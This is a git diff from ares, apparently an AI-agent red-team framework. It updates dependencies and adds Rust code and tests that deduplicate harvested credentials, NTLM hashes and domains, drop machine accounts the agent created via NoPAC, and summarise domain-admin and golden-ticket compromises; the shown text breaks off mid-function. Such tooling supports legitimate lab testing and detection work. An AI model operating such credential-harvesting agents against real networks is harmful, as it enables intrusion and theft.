@@ dependencies = [ [[package]] name = "web-sys" -version = "0.3.95" +version = "0.3.98" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f2dfbb17949fa2088e5d39408c48368947b86f7834484e87b73de55bc14d97d" +checksum = "4b572dff8bcf38bad0fa19729c89bb5748b2b9b1d8be70cf90df697e3a8f32aa" dependencies = [ "js-sys", "wasm-bindgen", @@ -3953,13 +4198,19 @@ dependencies = [ "wasite", ] +[[package]] +name = "widestring" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72069c3113ab32ab29e5584db3c6ec55d416895e60715417b5b883a357c3e471" + [[package]] name = "winapi-util" version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.61.2", ] [[package]] @@ -4003,6 +4254,17 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" +[[package]] +name = "windows-registry" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02752bf7fbdcce7f2a27a742f798510f3e5ad88dbe84871e5168e2120c3d5720" +dependencies = [ + "windows-link", + "windows-result", + "windows-strings", +] + [[package]] name = "windows-result" version = "0.4.1" @@ -4021,15 +4283,6 @@ dependencies = [ "windows-link", ] -[[package]] -name = "windows-sys" -version = "0.45.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" -dependencies = [ - "windows-targets 0.42.2", -] - [[package]] name = "windows-sys" version = "0.48.0" @@ -4066,21 +4319,6 @@ dependencies = [ "windows-link", ] -[[package]] -name = "windows-targets" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" -dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", -] - [[package]] name = "windows-targets" version = "0.48.5" @@ -4129,12 +4367,6 @@ dependencies = [ "windows_x86_64_msvc 0.53.1", ] -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" - [[package]] name = "windows_aarch64_gnullvm" version = "0.48.5" @@ -4153,12 +4385,6 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" -[[package]] -name = "windows_aarch64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" - [[package]] name = "windows_aarch64_msvc" version = "0.48.5" @@ -4177,12 +4403,6 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" -[[package]] -name = "windows_i686_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" - [[package]] name = "windows_i686_gnu" version = "0.48.5" @@ -4213,12 +4433,6 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" -[[package]] -name = "windows_i686_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" - [[package]] name = "windows_i686_msvc" version = "0.48.5" @@ -4237,12 +4451,6 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" -[[package]] -name = "windows_x86_64_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" - [[package]] name = "windows_x86_64_gnu" version = "0.48.5" @@ -4261,12 +4469,6 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" - [[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" @@ -4285,12 +4487,6 @@ version = "0.53.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" -[[package]] -name = "windows_x86_64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" - [[package]] name = "windows_x86_64_msvc" version = "0.48.5" @@ -4311,9 +4507,9 @@ checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" [[package]] name = "winnow" -version = "1.0.1" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09dac053f1cd375980747450bfc7250c264eaae0583872e845c0c7cd578872b5" +checksum = "2ee1708bef14716a11bae175f579062d4554d95be2c6829f518df847b7b3fdd0" dependencies = [ "memchr", ] diff --git a/Cargo.toml b/Cargo.toml index bda207ae..a94a921c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -21,6 +21,7 @@ serde_yaml = "0.9" regex = "1" sqlx = { version = "0.8", features = ["runtime-tokio", "postgres", "chrono", "json", "uuid"] } tera = "1" +hickory-resolver = { version = "0.24", default-features = false, features = ["tokio-runtime", "system-config"] } # OpenTelemetry opentelemetry = "0.31" diff --git a/README.md b/README.md index b71cf5c0..3e56b326 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ subcommands (`ares ops`, `ares orchestrator`, `ares worker`, `ares blue`, | Crate | Purpose | | ------------ | --------------------------------------------------------- | -| `ares-cli` | Unified binary — CLI, orchestrator, and worker | +| `ares-cli` | Unified binary - CLI, orchestrator, and worker | | `ares-core` | Shared models, state management, Redis schema, telemetry | | `ares-llm` | LLM providers (Anthropic, OpenAI, Ollama) + tool registry | | `ares-tools` | Tool dispatch and execution framework | @@ -440,7 +440,7 @@ task remote:status The master config lives at `config/ares.yaml`. It defines: -- **[Attack strategy](docs/strategy.md)** — technique weights, path diversity, completion modes +- **[Attack strategy](docs/strategy.md)** - technique weights, path diversity, completion modes - Per-role LLM model assignments - Agent capabilities and tool inventories - Operation timeouts and limits @@ -530,7 +530,7 @@ via the [Grafana MCP](docs/grafana_mcp_usage.md) server. ## Contributing -Open a PR against `main`. Run `pre-commit` before pushing — the CI will reject commits that fail the hooks. Include tests for any new tool or agent behavior. +Open a PR against `main`. Run `pre-commit` before pushing - the CI will reject commits that fail the hooks. Include tests for any new tool or agent behavior. ## License diff --git a/ansible/README.md b/ansible/README.md index d9aabf82..60d9bb4f 100644 --- a/ansible/README.md +++ b/ansible/README.md @@ -198,7 +198,7 @@ Installs and configures the **Mythic C2 framework** and optional agent packages. ## Development This collection lives inside the [ares](https://github.com/dreadnode/ares) -repository and is consumed directly from this subdirectory — it is not +repository and is consumed directly from this subdirectory - it is not published to Ansible Galaxy. See [docs/development.md](docs/development.md) for layout, pre-commit hooks (including the architecture-diagram regen), molecule usage, and CI details. diff --git a/ansible/docs/development.md b/ansible/docs/development.md index 8c597b67..de03de80 100644 --- a/ansible/docs/development.md +++ b/ansible/docs/development.md @@ -1,22 +1,22 @@ # Ansible Collection Development This collection lives inside the [ares](https://github.com/dreadnode/ares) -repository and is consumed directly from the `ansible/` subdirectory — it is +repository and is consumed directly from the `ansible/` subdirectory - it is **not** published to Ansible Galaxy. Changes ship as part of normal ares pull requests; there is no separate release tag, changelog generation, or `galaxy.yml` version bump flow. ## Layout -- `ansible/roles/` — role implementations (each with `defaults/`, `tasks/`, +- `ansible/roles/` - role implementations (each with `defaults/`, `tasks/`, `meta/`, optional `molecule/` scenarios, and a generated `README.md`). -- `ansible/playbooks/ares/` — playbooks that wire roles together for the ares +- `ansible/playbooks/ares/` - playbooks that wire roles together for the ares attack box (e.g. `goad_attack_box.yml`, `recon.yml`, `lateral_movement.yml`). -- `ansible/playbooks/{linux,windows}/` — generic provisioning playbooks for +- `ansible/playbooks/{linux,windows}/` - generic provisioning playbooks for range hosts. -- `ansible/plugins/modules/` — custom modules (`vnc_pw`, +- `ansible/plugins/modules/` - custom modules (`vnc_pw`, `merge_list_dicts_into_list`, `getent_passwd`). -- `ansible/changelogs/` — retained from the upstream collection; no longer +- `ansible/changelogs/` - retained from the upstream collection; no longer updated as part of the ares workflow. ## Local Development @@ -39,11 +39,11 @@ pip install -r .hooks/requirements.txt `.pre-commit-config.yaml` runs the following on any change under `ansible/`: -- `ansible-lint` — config at `.hooks/ansible/ansible-lint.yaml`. -- `yamllint` / `markdownlint` / `codespell` / `detect-secrets` — repo-wide. -- `docsible` (`.hooks/ansible/docsible-hook.sh`) — regenerates each +- `ansible-lint` - config at `.hooks/ansible/ansible-lint.yaml`. +- `yamllint` / `markdownlint` / `codespell` / `detect-secrets` - repo-wide. +- `docsible` (`.hooks/ansible/docsible-hook.sh`) - regenerates each `roles/*/README.md` from role metadata. -- `update-architecture-diagram` (`.hooks/ansible/gen-arch-diagram.py`) — +- `update-architecture-diagram` (`.hooks/ansible/gen-arch-diagram.py`) - scans `ansible/{roles,plugins,playbooks}` and rewrites the Mermaid block in `ansible/README.md` between the `## Architecture Diagram` and `## Requirements` markers. Roles/playbooks with a `molecule/` directory get a @@ -85,8 +85,8 @@ ARM64 macOS hosts should pass `--container-architecture linux/amd64` to `act`. Two workflows guard ansible changes: -- `.github/workflows/pre-commit.yaml` — runs the full pre-commit suite on PRs. -- `.github/workflows/molecule.yaml` — runs molecule scenarios on changes under +- `.github/workflows/pre-commit.yaml` - runs the full pre-commit suite on PRs. +- `.github/workflows/molecule.yaml` - runs molecule scenarios on changes under `ansible/**`, `.github/workflows/molecule.yaml`, or `.hooks/requirements.txt`. Also runs weekly (Sunday 04:00 UTC) and supports `workflow_dispatch` with `ROLE` / `SCENARIO` inputs to target a single scenario. @@ -100,7 +100,7 @@ Two workflows guard ansible changes: end-state your role guarantees. 4. Wire the role into the relevant ares playbook under `ansible/playbooks/ares/` if it should run as part of the attack box build. -5. Commit — the architecture diagram in `ansible/README.md` will regenerate +5. Commit - the architecture diagram in `ansible/README.md` will regenerate automatically. ## Consuming the Collection diff --git a/ares-cli/Cargo.toml b/ares-cli/Cargo.toml index fafc5cd7..671bbef7 100644 --- a/ares-cli/Cargo.toml +++ b/ares-cli/Cargo.toml @@ -35,6 +35,8 @@ regex = { workspace = true } dotenvy = "0.15" async-trait = "0.1" thiserror = { workspace = true } +hickory-resolver = { workspace = true } +local-ip-address = "0.6" [build-dependencies] serde = { version = "1", features = ["derive"] } diff --git a/ares-cli/src/dedup/credentials.rs b/ares-cli/src/dedup/credentials.rs index d31ae140..416d0401 100644 --- a/ares-cli/src/dedup/credentials.rs +++ b/ares-cli/src/dedup/credentials.rs @@ -5,7 +5,7 @@ use std::sync::LazyLock; use ares_core::models::Credential; -use super::strip_trailing_dot; +use super::{is_ghost_machine_account, strip_trailing_dot}; /// Strip ANSI escape sequences from text. pub(super) static RE_ANSI: LazyLock = @@ -75,6 +75,9 @@ pub(crate) fn sanitize_credentials(creds: &mut Vec) { if username.starts_with("evil") && username.ends_with('$') { return false; } + if is_ghost_machine_account(&username) { + return false; + } true }); } diff --git a/ares-cli/src/dedup/domains.rs b/ares-cli/src/dedup/domains.rs index b0bd5a0c..82818add 100644 --- a/ares-cli/src/dedup/domains.rs +++ b/ares-cli/src/dedup/domains.rs @@ -179,12 +179,14 @@ pub(crate) fn normalize_state_domains( { let mut valid_domains: HashSet = HashSet::new(); + let mut host_fqdns: HashSet = HashSet::new(); if let Some(td) = target_domain { valid_domains.insert(td.to_lowercase()); } for host in hosts { if !host.hostname.is_empty() && host.hostname.contains('.') { let lower = host.hostname.to_lowercase(); + host_fqdns.insert(lower.clone()); let parts: Vec<&str> = lower.split('.').collect(); if parts.len() > 1 { valid_domains.insert(parts[1..].join(".")); @@ -193,10 +195,20 @@ pub(crate) fn normalize_state_domains( } for user in users { if !user.domain.is_empty() { - valid_domains.insert(user.domain.to_lowercase()); + let d = user.domain.to_lowercase(); + // Skip user.domain values that are actually a host FQDN — + // some parsers misattribute and assign the DC's FQDN as the + // user's AD domain, which would otherwise let the FQDN survive + // the retain() filter below as a phantom "domain". + if !host_fqdns.contains(&d) { + valid_domains.insert(d); + } } } - domains.retain(|d| valid_domains.contains(&d.to_lowercase())); + domains.retain(|d| { + let lower = d.to_lowercase(); + valid_domains.contains(&lower) && !host_fqdns.contains(&lower) + }); } } diff --git a/ares-cli/src/dedup/hashes.rs b/ares-cli/src/dedup/hashes.rs index 184bbec8..26c84e1f 100644 --- a/ares-cli/src/dedup/hashes.rs +++ b/ares-cli/src/dedup/hashes.rs @@ -1,9 +1,9 @@ -use std::collections::HashSet; +use std::collections::{HashMap, HashSet}; use ares_core::models::Hash; use super::credentials::strip_ansi; -use super::strip_trailing_dot; +use super::{is_ghost_machine_account, strip_trailing_dot}; fn normalize_hash_type(hash_type: &str) -> String { match hash_type.trim().to_lowercase().as_str() { @@ -17,20 +17,58 @@ fn normalize_hash_type(hash_type: &str) -> String { } pub(crate) fn dedup_hashes(hashes: &[Hash]) -> Vec { - let mut seen = HashSet::new(); - let mut result = Vec::new(); + // First pass: for each (username, hash_type, hash_value), remember the longest + // non-empty domain we've seen. Parsers sometimes emit the same hash twice — once + // with `DOMAIN\` prefix (populated domain) and once bare (empty domain) — and + // without this lookup the keyed-by-domain dedup keeps both as separate rows. + let mut domain_lookup: HashMap<(String, String, String), String> = HashMap::new(); for h in hashes { let domain = strip_trailing_dot(h.domain.trim()).to_lowercase(); - let hash_value = strip_ansi(&h.hash_value); + if domain.is_empty() { + continue; + } let key = ( - domain.clone(), h.username.trim().to_lowercase(), h.hash_type.trim().to_lowercase(), - hash_value.trim().to_lowercase(), + strip_ansi(&h.hash_value).trim().to_lowercase(), ); + domain_lookup + .entry(key) + .and_modify(|d| { + if domain.len() > d.len() { + *d = domain.clone(); + } + }) + .or_insert(domain); + } + + let mut seen = HashSet::new(); + let mut result = Vec::new(); + for h in hashes { + let username = strip_ansi(&h.username); + if is_ghost_machine_account(&username) { + continue; + } + let username_l = h.username.trim().to_lowercase(); + let hash_type_l = h.hash_type.trim().to_lowercase(); + let hash_value = strip_ansi(&h.hash_value); + let hash_value_l = hash_value.trim().to_lowercase(); + + let mut domain = strip_trailing_dot(h.domain.trim()).to_lowercase(); + if domain.is_empty() { + if let Some(d) = domain_lookup.get(&( + username_l.clone(), + hash_type_l.clone(), + hash_value_l.clone(), + )) { + domain.clone_from(d); + } + } + + let key = (domain.clone(), username_l, hash_type_l, hash_value_l); if seen.insert(key) { let mut cleaned = h.clone(); - cleaned.domain = strip_trailing_dot(cleaned.domain.trim()).to_lowercase(); + cleaned.domain = domain; cleaned.hash_type = normalize_hash_type(&cleaned.hash_type); cleaned.hash_value = hash_value.trim().to_string(); cleaned.username = strip_ansi(&cleaned.username); diff --git a/ares-cli/src/dedup/mod.rs b/ares-cli/src/dedup/mod.rs index 9ae3550e..78f78211 100644 --- a/ares-cli/src/dedup/mod.rs +++ b/ares-cli/src/dedup/mod.rs @@ -7,9 +7,32 @@ pub(crate) mod users; #[cfg(test)] mod tests; -/// Strip trailing DNS root dot from domain strings (e.g. `child.contoso.local.` → `child.contoso.local`). +use regex::Regex; +use std::sync::LazyLock; + +/// Strip trailing DNS root dot and NetExec "0." artifact from domain strings +/// (e.g. `child.contoso.local.` → `child.contoso.local`, +/// `contoso.local0` → `contoso.local`). pub(super) fn strip_trailing_dot(s: &str) -> &str { - s.strip_suffix('.').unwrap_or(s) + let s = s.trim_end_matches('.'); + // NetExec sometimes appends "0" to domain TLDs. Strip if the char + // before the trailing 0 is alphabetic (i.e. TLD-like, not "host10"). + match s.strip_suffix('0') { + Some(clean) if clean.ends_with(|c: char| c.is_ascii_alphabetic()) => clean, + _ => s, + } +} + +/// Auto-generated Windows hostname pattern (`WIN-` + 11 alphanumerics + optional `$`). +/// Used to filter ghost machine accounts that the agent created itself via +/// NoPAC / MachineAccountQuota — not real lab hosts, just our own residue. +static GHOST_MACHINE_ACCOUNT_RE: LazyLock = + LazyLock::new(|| Regex::new(r"(?i)^WIN-[A-Z0-9]{11}\$?$").unwrap()); + +/// True if `username` looks like an auto-generated Windows machine account +/// (e.g. `WIN-G9FWV8ZNSCL$`) — typically agent-created via NoPAC. +pub(crate) fn is_ghost_machine_account(username: &str) -> bool { + GHOST_MACHINE_ACCOUNT_RE.is_match(username.trim()) } pub(crate) use credentials::{dedup_credentials, sanitize_credentials}; diff --git a/ares-cli/src/dedup/tests.rs b/ares-cli/src/dedup/tests.rs index 37741985..b5972cae 100644 --- a/ares-cli/src/dedup/tests.rs +++ b/ares-cli/src/dedup/tests.rs @@ -45,6 +45,10 @@ fn make_hash(domain: &str, username: &str, hash_type: &str, hash_value: &str) -> parent_id: None, attack_step: 0, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, } } @@ -361,6 +365,25 @@ fn strip_trailing_dot_removes_dot() { assert_eq!(strip_trailing_dot("."), ""); } +#[test] +fn strip_trailing_dot_removes_netexec_zero_artifact() { + use super::strip_trailing_dot; + // NetExec appends "0" or "0." to domain names + assert_eq!(strip_trailing_dot("contoso.local0"), "contoso.local"); + assert_eq!(strip_trailing_dot("contoso.local0."), "contoso.local"); + assert_eq!( + strip_trailing_dot("child.contoso.local0"), + "child.contoso.local" + ); + assert_eq!(strip_trailing_dot("fabrikam.local0."), "fabrikam.local"); + // Must NOT strip real trailing 0 from hostnames like "host10" + assert_eq!(strip_trailing_dot("host10"), "host10"); + assert_eq!( + strip_trailing_dot("dc10.contoso.local"), + "dc10.contoso.local" + ); +} + #[test] fn strip_ansi_removes_escape_sequences() { use super::credentials::strip_ansi; @@ -621,6 +644,26 @@ fn normalize_state_domains_domain_filtering_based_on_host_fqdns() { assert!(!domains.contains(&"orphan.local".to_string())); } +#[test] +fn normalize_state_domains_drops_host_fqdn_masquerading_as_domain() { + // A parser/credential publish path sometimes pushes a DC's FQDN + // (e.g. `WIN-30DZ5NGFA7M.c26h.local`) into the domain set. The dedup + // filter must drop entries that exactly match a known host hostname, + // even when a user or credential has the FQDN in its `domain` field. + let users = vec![make_user("win-30dz5ngfa7m.c26h.local", "admin")]; + let mut creds = vec![]; + let mut hashes = vec![]; + let mut domains = vec![ + "c26h.local".to_string(), + "win-30dz5ngfa7m.c26h.local".to_string(), + ]; + let hosts = vec![make_host("192.168.58.10", "win-30dz5ngfa7m.c26h.local")]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(domains, vec!["c26h.local".to_string()]); +} + #[test] fn normalize_state_domains_domain_kept_from_target_domain() { // target_domain should cause that domain to be retained even without hosts/users. @@ -1055,3 +1098,118 @@ fn dedup_credentials_normalizes_username_case() { let deduped = dedup_credentials(&creds); assert_eq!(deduped[0].username, "admin"); } + +#[test] +fn is_ghost_machine_account_matches_nopac_pattern() { + use super::is_ghost_machine_account; + assert!(is_ghost_machine_account("WIN-G9FWV8ZNSCL$")); + assert!(is_ghost_machine_account("WIN-4D75DLR6UCC$")); + assert!(is_ghost_machine_account("win-bjak8xunhgd$")); + // without trailing $ + assert!(is_ghost_machine_account("WIN-3KSGCLTS7NX")); +} + +#[test] +fn is_ghost_machine_account_rejects_real_hosts() { + use super::is_ghost_machine_account; + assert!(!is_ghost_machine_account("DC01$")); + assert!(!is_ghost_machine_account("WS01$")); + assert!(!is_ghost_machine_account("WIN-2019$")); // wrong length + assert!(!is_ghost_machine_account("administrator")); + assert!(!is_ghost_machine_account("")); +} + +#[test] +fn sanitize_credentials_drops_ghost_machine_accounts() { + let mut creds = vec![ + make_cred("contoso.local", "WIN-G9FWV8ZNSCL$", "P@ss1"), + make_cred("contoso.local", "jdoe", "P@ss1"), + ]; + sanitize_credentials(&mut creds); + assert_eq!(creds.len(), 1); + assert_eq!(creds[0].username, "jdoe"); +} + +#[test] +fn dedup_hashes_collapses_bare_and_prefixed_same_user() { + // Parsers emit the same hash twice when secretsdump output mixes + // `Administrator:RID:...` (bare) and `DOMAIN\Administrator:RID:...` (prefixed) + // — bare gets empty domain, prefixed gets the resolved FQDN. + // The bare row should be folded into the prefixed one. + let hashes = vec![ + make_hash("", "Administrator", "NTLM", "aabbccdd"), + make_hash("contoso.local", "Administrator", "NTLM", "aabbccdd"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].domain, "contoso.local"); +} + +#[test] +fn dedup_hashes_keeps_distinct_users_sharing_hash() { + // Two different users can end up with identical NTLMs (shared password). + // They must NOT be folded together — dedup keys on + // (username, hash_type, hash_value), not just (hash_type, hash_value). + let hashes = vec![ + make_hash("contoso.local", "Administrator", "NTLM", "deadbeefcafe"), + make_hash("contoso.local", "svc_backup", "NTLM", "deadbeefcafe"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 2); +} + +#[test] +fn dedup_hashes_bare_with_no_domain_sibling_kept() { + // If we only ever saw the bare form, we cannot infer a domain — keep it as-is. + let hashes = vec![make_hash("", "Administrator", "NTLM", "aabbccdd")]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].domain, ""); +} + +#[test] +fn dedup_hashes_picks_longest_domain_when_multiple_known() { + // If the same user+hash appears with both a parent and a child domain (rare + // cross-forest replication artifact), prefer the longer/more-specific FQDN + // when filling in a bare entry. + let hashes = vec![ + make_hash("", "krbtgt", "NTLM", "deadbeef"), + make_hash("contoso.local", "krbtgt", "NTLM", "deadbeef"), + make_hash("child.contoso.local", "krbtgt", "NTLM", "deadbeef"), + ]; + let deduped = dedup_hashes(&hashes); + // The bare entry folds into the longest sibling; the two populated entries stay distinct. + assert_eq!(deduped.len(), 2); + let domains: Vec<&str> = deduped.iter().map(|h| h.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"child.contoso.local")); +} + +#[test] +fn dedup_hashes_drops_ghost_machine_accounts() { + let hashes = vec![ + make_hash( + "contoso.local", + "WIN-4D75DLR6UCC$", + "NTLM", + "aad3b435b51404eeaad3b435b51404ee:da118ed665879916ceaacfb98e3ee74e", + ), + make_hash("contoso.local", "admin", "NTLM", "aabb"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].username, "admin"); +} + +#[test] +fn dedup_users_drops_ghost_machine_accounts() { + let nb = HashMap::new(); + let mut ghost = make_user("contoso.local", "WIN-BJAK8XUNHGD$"); + ghost.source = "kerberos_enum".to_string(); + let mut real = make_user("contoso.local", "jdoe"); + real.source = "kerberos_enum".to_string(); + let users = vec![ghost, real]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].username, "jdoe"); +} diff --git a/ares-cli/src/dedup/users.rs b/ares-cli/src/dedup/users.rs index c8087de8..9bd4abdc 100644 --- a/ares-cli/src/dedup/users.rs +++ b/ares-cli/src/dedup/users.rs @@ -2,7 +2,7 @@ use std::collections::HashMap; use ares_core::models::User; -use super::strip_trailing_dot; +use super::{is_ghost_machine_account, strip_trailing_dot}; /// Noise usernames that should be filtered. pub(super) const NOISE_USERNAMES: &[&str] = &[ @@ -81,6 +81,7 @@ pub(crate) fn dedup_users(users: &[User], netbios_to_fqdn: &HashMap = playbook diff --git a/ares-cli/src/detection/queries.rs b/ares-cli/src/detection/queries.rs index fdf59c53..9cc88859 100644 --- a/ares-cli/src/detection/queries.rs +++ b/ares-cli/src/detection/queries.rs @@ -209,6 +209,10 @@ mod tests { parent_id: None, attack_step: 0, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, }]; let start = Utc::now() - chrono::Duration::hours(1); let end = Utc::now(); @@ -293,6 +297,10 @@ mod tests { parent_id: None, attack_step: 0, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, }]; let start = Utc::now() - chrono::Duration::hours(1); let end = Utc::now(); diff --git a/ares-cli/src/detection/techniques/tests.rs b/ares-cli/src/detection/techniques/tests.rs index d2a66704..86f8beef 100644 --- a/ares-cli/src/detection/techniques/tests.rs +++ b/ares-cli/src/detection/techniques/tests.rs @@ -11,6 +11,10 @@ use super::lateral::{ use super::names::{get_technique_name, pyramid_level_name}; use ares_core::models::{Credential, Host, Share, SharedRedTeamState}; +// --------------------------------------------------------------------------- +// names +// --------------------------------------------------------------------------- + #[test] fn get_technique_name_known() { assert_eq!(get_technique_name("T1046"), "Network Service Discovery"); @@ -46,6 +50,10 @@ fn pyramid_level_name_unknown() { assert_eq!(pyramid_level_name(255), "Unknown"); } +// --------------------------------------------------------------------------- +// builders (router) +// --------------------------------------------------------------------------- + #[test] fn build_technique_detections_known_techniques() { let state = SharedRedTeamState::new("test-op".to_string()); @@ -199,6 +207,10 @@ fn build_technique_detections_all_kerberos_techniques() { } } +// --------------------------------------------------------------------------- +// lateral.rs — direct builder tests +// --------------------------------------------------------------------------- + #[test] fn build_t1021_empty_state() { let state = SharedRedTeamState::new("test-op".to_string()); @@ -277,12 +289,14 @@ fn build_t1021_002_populated_hosts_and_shares() { name: "C$".to_string(), permissions: "READ".to_string(), comment: String::new(), + authenticated_as: None, }); state.all_shares.push(Share { host: "192.168.58.10".to_string(), name: "ADMIN$".to_string(), permissions: "READ".to_string(), comment: String::new(), + authenticated_as: None, }); let start = Utc::now() - chrono::Duration::hours(1); let end = Utc::now(); @@ -305,6 +319,7 @@ fn build_t1021_002_share_evidence_capped_at_five() { name: format!("SHARE{i}"), permissions: "READ".to_string(), comment: String::new(), + authenticated_as: None, }); } let start = Utc::now() - chrono::Duration::hours(1); @@ -398,6 +413,10 @@ fn build_t1046_populated_hosts() { assert_eq!(det.targets, vec!["192.168.58.5".to_string()]); } +// --------------------------------------------------------------------------- +// credential.rs — direct builder tests +// --------------------------------------------------------------------------- + #[test] fn build_t1003_empty_state() { let state = SharedRedTeamState::new("test-op".to_string()); @@ -600,6 +619,10 @@ fn build_t1110_properties() { assert!(!det.detection_queries[0].expected_evidence.is_empty()); } +// --------------------------------------------------------------------------- +// kerberos.rs — direct builder tests +// --------------------------------------------------------------------------- + #[test] fn build_t1558_properties() { let start = Utc::now() - chrono::Duration::hours(1); @@ -637,6 +660,10 @@ fn build_t1558_001_properties() { .any(|e| e.to_lowercase().contains("krbtgt"))); } +// --------------------------------------------------------------------------- +// time window plumbing +// --------------------------------------------------------------------------- + #[test] fn detection_query_time_window_is_set() { let state = SharedRedTeamState::new("test-op".to_string()); diff --git a/ares-cli/src/ops/inject.rs b/ares-cli/src/ops/inject.rs index d09af06e..1bd451f5 100644 --- a/ares-cli/src/ops/inject.rs +++ b/ares-cli/src/ops/inject.rs @@ -239,6 +239,10 @@ pub(crate) async fn ops_inject_hash( parent_id: None, attack_step: 0, aes_key, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, }; let added = reader.add_hash(&mut conn, &hash).await?; diff --git a/ares-cli/src/ops/loot/format/display.rs b/ares-cli/src/ops/loot/format/display.rs index ba1091fb..9ec35f50 100644 --- a/ares-cli/src/ops/loot/format/display.rs +++ b/ares-cli/src/ops/loot/format/display.rs @@ -312,7 +312,157 @@ pub(super) fn print_loot_human( print_mitre_techniques(&state.all_techniques, &state.all_timeline_events); } -/// Print discovered vulnerabilities table. +/// Compact summary used by `ops runtime`: DA/GT banner with per-domain +/// breakdown plus a one-line host/DC count. Shares formatting with +/// `print_loot_human` so the live-watch view stays consistent with `ops loot`. +pub(super) fn print_runtime_summary( + state: &SharedRedTeamState, + credentials: &[Credential], + hashes: &[Hash], + domains_input: &[String], +) { + let mut domains: Vec = domains_input + .iter() + .map(|d| d.trim().trim_end_matches('.').to_lowercase()) + .filter(|d| !d.is_empty()) + .collect(); + domains.sort(); + domains.dedup(); + + let mut forest_roots: Vec = Vec::new(); + let mut child_domains: HashMap = HashMap::new(); + for domain in &domains { + let parts: Vec<&str> = domain.split('.').collect(); + if parts.len() >= 3 { + let parent = parts[1..].join("."); + if domains.contains(&parent) { + child_domains.insert(domain.clone(), parent); + } else { + forest_roots.push(domain.clone()); + } + } else { + forest_roots.push(domain.clone()); + } + } + forest_roots.sort(); + + let achievements = build_domain_achievements(state, hashes, credentials); + let compromised_count = achievements + .values() + .filter(|a| a.has_da || a.has_golden_ticket) + .count(); + let compromised_forests: Vec<_> = forest_roots + .iter() + .filter(|root| { + let root_hit = achievements + .get(*root) + .map(|a| a.has_da || a.has_golden_ticket) + .unwrap_or(false); + let child_hit = child_domains + .iter() + .filter(|(_, parent)| *parent == *root) + .any(|(child, _)| { + 